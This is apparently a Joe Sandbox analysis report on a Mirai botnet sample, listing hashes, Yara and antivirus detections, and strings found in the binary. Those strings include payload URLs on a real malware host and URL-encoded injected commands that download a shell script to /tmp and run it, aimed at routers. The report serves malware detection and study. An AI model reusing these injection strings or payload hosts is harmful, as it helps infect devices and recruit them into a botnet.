Loading Joe Sandbox Report ...

Edit tour

Linux Analysis Report
tknjinyyHK

Overview

General Information

Sample Name:tknjinyyHK
Analysis ID:679630
MD5:207b92b6ce447a8be88fee4f5ab257d6
SHA1:a2b8c7518f370a978dda19ade031c9d1885acb5e
SHA256:7274ee8cc094cdfcab48b23978837b12d01bd426202f34d7191e0f6fc3ae18d3
Tags:32elfintelmirai
Infos:

Detection

Mirai
Score:76
Range:0 - 100
Whitelisted:false

Signatures

Malicious sample detected (through community Yara rule)
Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Yara detected Mirai
Machine Learning detection for sample
Enumerates processes within the "proc" file system
Yara signature match
Sample contains strings that are potentially command strings
Sample has stripped symbol table
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Classification

Joe Sandbox Version:35.0.0 Citrine
Analysis ID:679630
Start date and time: 06/08/202207:26:252022-08-06 07:26:25 +02:00
Joe Sandbox Product:CloudBasic
Overall analysis duration:0h 5m 12s
Hypervisor based Inspection enabled:false
Report type:full
Sample file name:tknjinyyHK
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Detection:MAL
Classification:mal76.troj.lin@0/0@0/0
  • VT rate limit hit for: http://46.23.109.47/Cloud/Netlink.sh%20-O%20-%3E%20/tmp/jno;sh%20/tmp/jno%27/&waninf=1_INTERNET_R_VI
Command:/tmp/tknjinyyHK
PID:6235
Exit Code:0
Exit Code Info:
Killed:False
Standard Output:
Connected To CNC
Standard Error:
  • system is lnxubuntu20
  • cleanup
SourceRuleDescriptionAuthorStrings
tknjinyyHKSUSP_XORed_MozillaDetects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.Florian Roth
  • 0x18b9c:$xo1: oMXKNNC\x0D\x17\x0C\x12
  • 0x18c0c:$xo1: oMXKNNC\x0D\x17\x0C\x12
  • 0x18c7c:$xo1: oMXKNNC\x0D\x17\x0C\x12
  • 0x18cec:$xo1: oMXKNNC\x0D\x17\x0C\x12
  • 0x18d5c:$xo1: oMXKNNC\x0D\x17\x0C\x12
  • 0x18fcc:$xo1: oMXKNNC\x0D\x17\x0C\x12
  • 0x19020:$xo1: oMXKNNC\x0D\x17\x0C\x12
  • 0x19074:$xo1: oMXKNNC\x0D\x17\x0C\x12
  • 0x190c8:$xo1: oMXKNNC\x0D\x17\x0C\x12
  • 0x1911c:$xo1: oMXKNNC\x0D\x17\x0C\x12
tknjinyyHKJoeSecurity_Mirai_8Yara detected MiraiJoe Security
    tknjinyyHKLinux_Trojan_Mirai_fa3ad9d0unknownunknown
    • 0x3b2a:$a: CB 08 C1 CB 10 66 C1 CB 08 31 C9 8A 4F 14 D3 E8 01 D8 66 C1
    tknjinyyHKLinux_Trojan_Mirai_b14f4c5dunknownunknown
    • 0x5970:$a: 53 31 DB 8B 4C 24 0C 8B 54 24 08 83 F9 01 76 15 66 8B 02 83 E9 02 25 FF FF 00 00 83 C2 02 01 C3 83 F9 01 77 EB 49 75 05 0F BE 02 01 C3
    tknjinyyHKLinux_Trojan_Mirai_93fc3657unknownunknown
    • 0x3bb5:$a: 00 00 00 89 44 24 60 89 D1 31 C0 8B 7C 24 28 FC F3 AB 89 D1 8B 7C
    Click to see the 8 entries
    SourceRuleDescriptionAuthorStrings
    6235.1.000000000905c000.000000000905d000.rw-.sdmpSUSP_XORed_MozillaDetects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.Florian Roth
    • 0x740:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x7b8:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x830:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x8a8:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x920:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0xbb0:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0xc08:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0xc60:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0xcb8:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0xd10:$xo1: oMXKNNC\x0D\x17\x0C\x12
    6237.1.000000000905c000.000000000905d000.rw-.sdmpSUSP_XORed_MozillaDetects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.Florian Roth
    • 0x740:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x7b8:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x830:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x8a8:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x920:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0xbb0:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0xc08:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0xc60:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0xcb8:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0xd10:$xo1: oMXKNNC\x0D\x17\x0C\x12
    6235.1.0000000008062000.0000000008063000.rw-.sdmpSUSP_XORed_MozillaDetects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.Florian Roth
    • 0x20:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x74:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0xc8:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x11c:$xo1: oMXKNNC\x0D\x17\x0C\x12
    6237.1.0000000008062000.0000000008063000.rw-.sdmpSUSP_XORed_MozillaDetects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.Florian Roth
    • 0x20:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x74:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0xc8:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x11c:$xo1: oMXKNNC\x0D\x17\x0C\x12
    6235.1.0000000008048000.0000000008062000.r-x.sdmpSUSP_XORed_MozillaDetects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.Florian Roth
    • 0x18b9c:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x18c0c:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x18c7c:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x18cec:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x18d5c:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x18fcc:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x19020:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x19074:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x190c8:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x1911c:$xo1: oMXKNNC\x0D\x17\x0C\x12
    Click to see the 25 entries
    No Snort rule has matched

    Click to jump to signature section

    Show All Signature Results

    AV Detection

    barindex
    Source: tknjinyyHKAvira: detected
    Source: tknjinyyHKVirustotal: Detection: 55%Perma Link
    Source: tknjinyyHKMetadefender: Detection: 37%Perma Link
    Source: tknjinyyHKReversingLabs: Detection: 69%
    Source: tknjinyyHKJoe Sandbox ML: detected
    Source: tknjinyyHKString found in binary or memory: http://0.0.0.0/Cloud/Cloud.x86
    Source: tknjinyyHKString found in binary or memory: http://46.23.109.47/Cloud/Cloud.mips;
    Source: tknjinyyHKString found in binary or memory: http://46.23.109.47/Cloud/Cloud.mpsl;chmod
    Source: tknjinyyHKString found in binary or memory: http://46.23.109.47/Cloud/Cloud.x86
    Source: tknjinyyHKString found in binary or memory: http://46.23.109.47/Cloud/Comtrend.sh%20-O%20-%3E%20/tmp/jno;sh%20/tmp/jno%27/&sessionKey=1039230114
    Source: tknjinyyHKString found in binary or memory: http://46.23.109.47/Cloud/Dlink.sh%20-O%20-%3E%20/tmp/kh;sh%20/tmp/kh%27$
    Source: tknjinyyHKString found in binary or memory: http://46.23.109.47/Cloud/Gpon.sh
    Source: tknjinyyHKString found in binary or memory: http://46.23.109.47/Cloud/Netlink.sh%20-O%20-%3E%20/tmp/jno;sh%20/tmp/jno%27/&waninf=1_INTERNET_R_VI
    Source: tknjinyyHKString found in binary or memory: http://purenetworks.com/HNAP1/
    Source: tknjinyyHKString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
    Source: tknjinyyHKString found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

    System Summary

    barindex
    Source: tknjinyyHK, type: SAMPLEMatched rule: Linux_Trojan_Mirai_fa3ad9d0 Author: unknown
    Source: tknjinyyHK, type: SAMPLEMatched rule: Linux_Trojan_Mirai_b14f4c5d Author: unknown
    Source: tknjinyyHK, type: SAMPLEMatched rule: Linux_Trojan_Mirai_93fc3657 Author: unknown
    Source: tknjinyyHK, type: SAMPLEMatched rule: Linux_Trojan_Mirai_804f8e7c Author: unknown
    Source: tknjinyyHK, type: SAMPLEMatched rule: Linux_Trojan_Mirai_99d78950 Author: unknown
    Source: tknjinyyHK, type: SAMPLEMatched rule: Linux_Trojan_Mirai_a68e498c Author: unknown
    Source: tknjinyyHK, type: SAMPLEMatched rule: Linux_Trojan_Mirai_88de437f Author: unknown
    Source: tknjinyyHK, type: SAMPLEMatched rule: Linux_Trojan_Mirai_ae9d0fa6 Author: unknown
    Source: tknjinyyHK, type: SAMPLEMatched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
    Source: tknjinyyHK, type: SAMPLEMatched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
    Source: tknjinyyHK, type: SAMPLEMatched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
    Source: 6235.1.0000000008048000.0000000008062000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_fa3ad9d0 Author: unknown
    Source: 6235.1.0000000008048000.0000000008062000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_b14f4c5d Author: unknown
    Source: 6235.1.0000000008048000.0000000008062000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_93fc3657 Author: unknown
    Source: 6235.1.0000000008048000.0000000008062000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_804f8e7c Author: unknown
    Source: 6235.1.0000000008048000.0000000008062000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_99d78950 Author: unknown
    Source: 6235.1.0000000008048000.0000000008062000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_a68e498c Author: unknown
    Source: 6235.1.0000000008048000.0000000008062000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_88de437f Author: unknown
    Source: 6235.1.0000000008048000.0000000008062000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_ae9d0fa6 Author: unknown
    Source: 6235.1.0000000008048000.0000000008062000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
    Source: 6235.1.0000000008048000.0000000008062000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
    Source: 6235.1.0000000008048000.0000000008062000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
    Source: 6237.1.0000000008048000.0000000008062000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_fa3ad9d0 Author: unknown
    Source: 6237.1.0000000008048000.0000000008062000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_b14f4c5d Author: unknown
    Source: 6237.1.0000000008048000.0000000008062000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_93fc3657 Author: unknown
    Source: 6237.1.0000000008048000.0000000008062000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_804f8e7c Author: unknown
    Source: 6237.1.0000000008048000.0000000008062000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_99d78950 Author: unknown
    Source: 6237.1.0000000008048000.0000000008062000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_a68e498c Author: unknown
    Source: 6237.1.0000000008048000.0000000008062000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_88de437f Author: unknown
    Source: 6237.1.0000000008048000.0000000008062000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_ae9d0fa6 Author: unknown
    Source: 6237.1.0000000008048000.0000000008062000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
    Source: 6237.1.0000000008048000.0000000008062000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
    Source: 6237.1.0000000008048000.0000000008062000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
    Source: tknjinyyHK, type: SAMPLEMatched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
    Source: tknjinyyHK, type: SAMPLEMatched rule: Linux_Trojan_Mirai_fa3ad9d0 reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = fe93a3552b72b107f95cc5a7e59da64fe84d31df833bf36c81d8f31d8d79d7ca, id = fa3ad9d0-7c55-4621-90fc-6b154c44a67b, last_modified = 2021-09-16
    Source: tknjinyyHK, type: SAMPLEMatched rule: Linux_Trojan_Mirai_b14f4c5d os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = a70d052918dd2fbc66db241da6438015130f0fb6929229bfe573546fe98da817, id = b14f4c5d-054f-46e6-9fa8-3588f1ef68b7, last_modified = 2021-09-16
    Source: tknjinyyHK, type: SAMPLEMatched rule: Linux_Trojan_Mirai_93fc3657 reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = d01a9e85a01fad913ca048b60bda1e5a2762f534e5308132c1d3098ac3f561ee, id = 93fc3657-fd21-4e93-a728-c084fc0a6a4a, last_modified = 2021-09-16
    Source: tknjinyyHK, type: SAMPLEMatched rule: Linux_Trojan_Mirai_804f8e7c reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 1080d8502848d532a0b38861437485d98a41d945acaf3cb676a7a2a2f6793ac6, id = 804f8e7c-4786-42bc-92e4-c68c24ca530e, last_modified = 2021-09-16
    Source: tknjinyyHK, type: SAMPLEMatched rule: Linux_Trojan_Mirai_99d78950 reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 3008edc4e7a099b64139a77d15ec0e2c3c1b55fc23ab156304571c4d14bc654c, id = 99d78950-ea23-4166-a85a-7a029209f5b1, last_modified = 2021-09-16
    Source: tknjinyyHK, type: SAMPLEMatched rule: Linux_Trojan_Mirai_a68e498c reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 951c9dfcba531e5112c872395f6c144c4bc8b71c666d2c7d9d8574a23c163883, id = a68e498c-0768-4321-ab65-42dd6ef85323, last_modified = 2021-09-16
    Source: tknjinyyHK, type: SAMPLEMatched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16
    Source: tknjinyyHK, type: SAMPLEMatched rule: Linux_Trojan_Mirai_ae9d0fa6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = ca2bf2771844bec95563800d19a35dd230413f8eff0bd44c8ab0b4c596f81bfc, id = ae9d0fa6-be06-4656-9b13-8edfc0ee9e71, last_modified = 2021-09-16
    Source: tknjinyyHK, type: SAMPLEMatched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
    Source: tknjinyyHK, type: SAMPLEMatched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
    Source: tknjinyyHK, type: SAMPLEMatched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
    Source: 6235.1.000000000905c000.000000000905d000.rw-.sdmp, type: MEMORYMatched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
    Source: 6237.1.000000000905c000.000000000905d000.rw-.sdmp, type: MEMORYMatched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
    Source: 6235.1.0000000008062000.0000000008063000.rw-.sdmp, type: MEMORYMatched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
    Source: 6237.1.0000000008062000.0000000008063000.rw-.sdmp, type: MEMORYMatched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
    Source: 6235.1.0000000008048000.0000000008062000.r-x.sdmp, type: MEMORYMatched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
    Source: 6235.1.0000000008048000.0000000008062000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_fa3ad9d0 reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = fe93a3552b72b107f95cc5a7e59da64fe84d31df833bf36c81d8f31d8d79d7ca, id = fa3ad9d0-7c55-4621-90fc-6b154c44a67b, last_modified = 2021-09-16
    Source: 6235.1.0000000008048000.0000000008062000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_b14f4c5d os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = a70d052918dd2fbc66db241da6438015130f0fb6929229bfe573546fe98da817, id = b14f4c5d-054f-46e6-9fa8-3588f1ef68b7, last_modified = 2021-09-16
    Source: 6235.1.0000000008048000.0000000008062000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_93fc3657 reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = d01a9e85a01fad913ca048b60bda1e5a2762f534e5308132c1d3098ac3f561ee, id = 93fc3657-fd21-4e93-a728-c084fc0a6a4a, last_modified = 2021-09-16
    Source: 6235.1.0000000008048000.0000000008062000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_804f8e7c reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 1080d8502848d532a0b38861437485d98a41d945acaf3cb676a7a2a2f6793ac6, id = 804f8e7c-4786-42bc-92e4-c68c24ca530e, last_modified = 2021-09-16
    Source: 6235.1.0000000008048000.0000000008062000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_99d78950 reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 3008edc4e7a099b64139a77d15ec0e2c3c1b55fc23ab156304571c4d14bc654c, id = 99d78950-ea23-4166-a85a-7a029209f5b1, last_modified = 2021-09-16
    Source: 6235.1.0000000008048000.0000000008062000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_a68e498c reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 951c9dfcba531e5112c872395f6c144c4bc8b71c666d2c7d9d8574a23c163883, id = a68e498c-0768-4321-ab65-42dd6ef85323, last_modified = 2021-09-16
    Source: 6235.1.0000000008048000.0000000008062000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16
    Source: 6235.1.0000000008048000.0000000008062000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_ae9d0fa6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = ca2bf2771844bec95563800d19a35dd230413f8eff0bd44c8ab0b4c596f81bfc, id = ae9d0fa6-be06-4656-9b13-8edfc0ee9e71, last_modified = 2021-09-16
    Source: 6235.1.0000000008048000.0000000008062000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
    Source: 6235.1.0000000008048000.0000000008062000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
    Source: 6235.1.0000000008048000.0000000008062000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
    Source: 6237.1.0000000008048000.0000000008062000.r-x.sdmp, type: MEMORYMatched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
    Source: 6237.1.0000000008048000.0000000008062000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_fa3ad9d0 reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = fe93a3552b72b107f95cc5a7e59da64fe84d31df833bf36c81d8f31d8d79d7ca, id = fa3ad9d0-7c55-4621-90fc-6b154c44a67b, last_modified = 2021-09-16
    Source: 6237.1.0000000008048000.0000000008062000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_b14f4c5d os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = a70d052918dd2fbc66db241da6438015130f0fb6929229bfe573546fe98da817, id = b14f4c5d-054f-46e6-9fa8-3588f1ef68b7, last_modified = 2021-09-16
    Source: 6237.1.0000000008048000.0000000008062000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_93fc3657 reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = d01a9e85a01fad913ca048b60bda1e5a2762f534e5308132c1d3098ac3f561ee, id = 93fc3657-fd21-4e93-a728-c084fc0a6a4a, last_modified = 2021-09-16
    Source: 6237.1.0000000008048000.0000000008062000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_804f8e7c reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 1080d8502848d532a0b38861437485d98a41d945acaf3cb676a7a2a2f6793ac6, id = 804f8e7c-4786-42bc-92e4-c68c24ca530e, last_modified = 2021-09-16
